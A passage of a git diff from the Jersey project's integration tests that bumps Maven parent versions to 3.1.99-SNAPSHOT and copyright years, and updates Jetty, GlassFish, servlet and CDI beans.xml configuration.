                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
index 139ff13..81543cd 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-beanvalidation-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
index fea5a22..130e45d 100644
--- a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
+++ b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-client-on-server</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-client/pom.xml b/tests/integration/cdi-integration/cdi-client/pom.xml
index 888bd34..52e8ad0 100644
--- a/tests/integration/cdi-integration/cdi-client/pom.xml
+++ b/tests/integration/cdi-integration/cdi-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-client</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
index 18e70af..2e7bf4d 100644
--- a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-ejb-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
index 4f94568..e64c956 100644
--- a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-iface-with-non-jaxrs-impl-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-log-check/pom.xml b/tests/integration/cdi-integration/cdi-log-check/pom.xml
index 4733e26..f912ca6 100644
--- a/tests/integration/cdi-integration/cdi-log-check/pom.xml
+++ b/tests/integration/cdi-integration/cdi-log-check/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-log-check</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
index 29405b1..9282f51 100644
--- a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
+++ b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>cdi-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
index e49c77f..ec0219a 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
index 2b4c741..1b2590c 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multimodule/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/pom.xml
index 034d712..6dd6323 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-multimodule</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
index 6ae2e7f..9ad042b 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
@@ -40,7 +40,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
index 0cc877d..a1d0f56 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
index 948f201..7e97d3b 100644
--- a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-multipart-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
index a1e6263..6ced4c1 100644
--- a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -51,7 +51,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/cdi-integration/cdi-singleton/pom.xml b/tests/integration/cdi-integration/cdi-singleton/pom.xml
index 7e44430..536e026 100644
--- a/tests/integration/cdi-integration/cdi-singleton/pom.xml
+++ b/tests/integration/cdi-integration/cdi-singleton/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>cdi-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml b/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
index 073f936..78ed68c 100644
--- a/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
+++ b/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>cdi-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
index c37a1e6..7c7e02d 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml b/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml
index 14ea61e..8d3e4b2 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,4 +17,9 @@
 
 -->
 
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+       xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+                           http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+       bean-discovery-mode="all">
+</beans>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml b/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml
index 14ea61e..8d3e4b2 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,4 +17,9 @@
 
 -->
 
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+       xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+                           http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+       bean-discovery-mode="all">
+</beans>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
index 174cf6a..27a1467 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-with-jersey-injection-custom-cfg-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
index 2914f99..21558f9 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-with-jersey-injection-custom-hk2-banned-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
index f5be881..7fd53f3 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-with-jersey-injection-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/context-inject-on-server/pom.xml b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
index 85b8d7f..a249be7 100644
--- a/tests/integration/cdi-integration/context-inject-on-server/pom.xml
+++ b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>context-inject-on-server</artifactId>
@@ -49,7 +49,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
index 5dac7d8..68bbf66 100644
--- a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
+++ b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
         <artifactId>cdi-integration-project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>gf-cdi-inject-on-server</artifactId>
@@ -31,7 +31,7 @@
     <description>Embedded GF tests @Inject</description>
 
     <properties>
-        <glassfish.home>${project.build.directory}/glassfish6</glassfish.home>
+        <glassfish.home>${project.build.directory}/glassfish7</glassfish.home>
         <modules.dir>${glassfish.home}/glassfish/modules</modules.dir>
         <glassfish.container.version>${gf.impl.version}</glassfish.container.version>
     </properties>
@@ -79,6 +79,11 @@
             <groupId>org.glassfish.jersey.core</groupId>
             <artifactId>jersey-server</artifactId>
         </dependency>
+
+        <dependency>
+            <groupId>jakarta.activation</groupId>
+            <artifactId>jakarta.activation-api</artifactId>
+        </dependency>
     </dependencies>
 
     <build>
diff --git a/tests/integration/cdi-integration/pom.xml b/tests/integration/cdi-integration/pom.xml
index b054f69..9da5b7a 100644
--- a/tests/integration/cdi-integration/pom.xml
+++ b/tests/integration/cdi-integration/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
@@ -66,7 +66,7 @@
         <profile>
             <id>gf-inject</id>
             <activation>
-                <jdk>[11,)</jdk>
+                <jdk>[11,24)</jdk>
             </activation>
             <modules>
                 <module>gf-cdi-inject</module>
diff --git a/tests/integration/client-connector-provider/pom.xml b/tests/integration/client-connector-provider/pom.xml
index 01bb35d..c485a64 100644
--- a/tests/integration/client-connector-provider/pom.xml
+++ b/tests/integration/client-connector-provider/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>client-connector-provider</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/ear/pom.xml b/tests/integration/ejb-multimodule-reload/ear/pom.xml
index 289b4ea..1932ba4 100644
--- a/tests/integration/ejb-multimodule-reload/ear/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/ear/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule-reload/lib/pom.xml b/tests/integration/ejb-multimodule-reload/lib/pom.xml
index 54c38fd..1a9c4c0 100644
--- a/tests/integration/ejb-multimodule-reload/lib/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/lib/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule-reload/pom.xml b/tests/integration/ejb-multimodule-reload/pom.xml
index af1c57a..8028e76 100644
--- a/tests/integration/ejb-multimodule-reload/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>ejb-multimodule-reload</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/war1/pom.xml b/tests/integration/ejb-multimodule-reload/war1/pom.xml
index c197c92..e0ff265 100644
--- a/tests/integration/ejb-multimodule-reload/war1/pom.xml
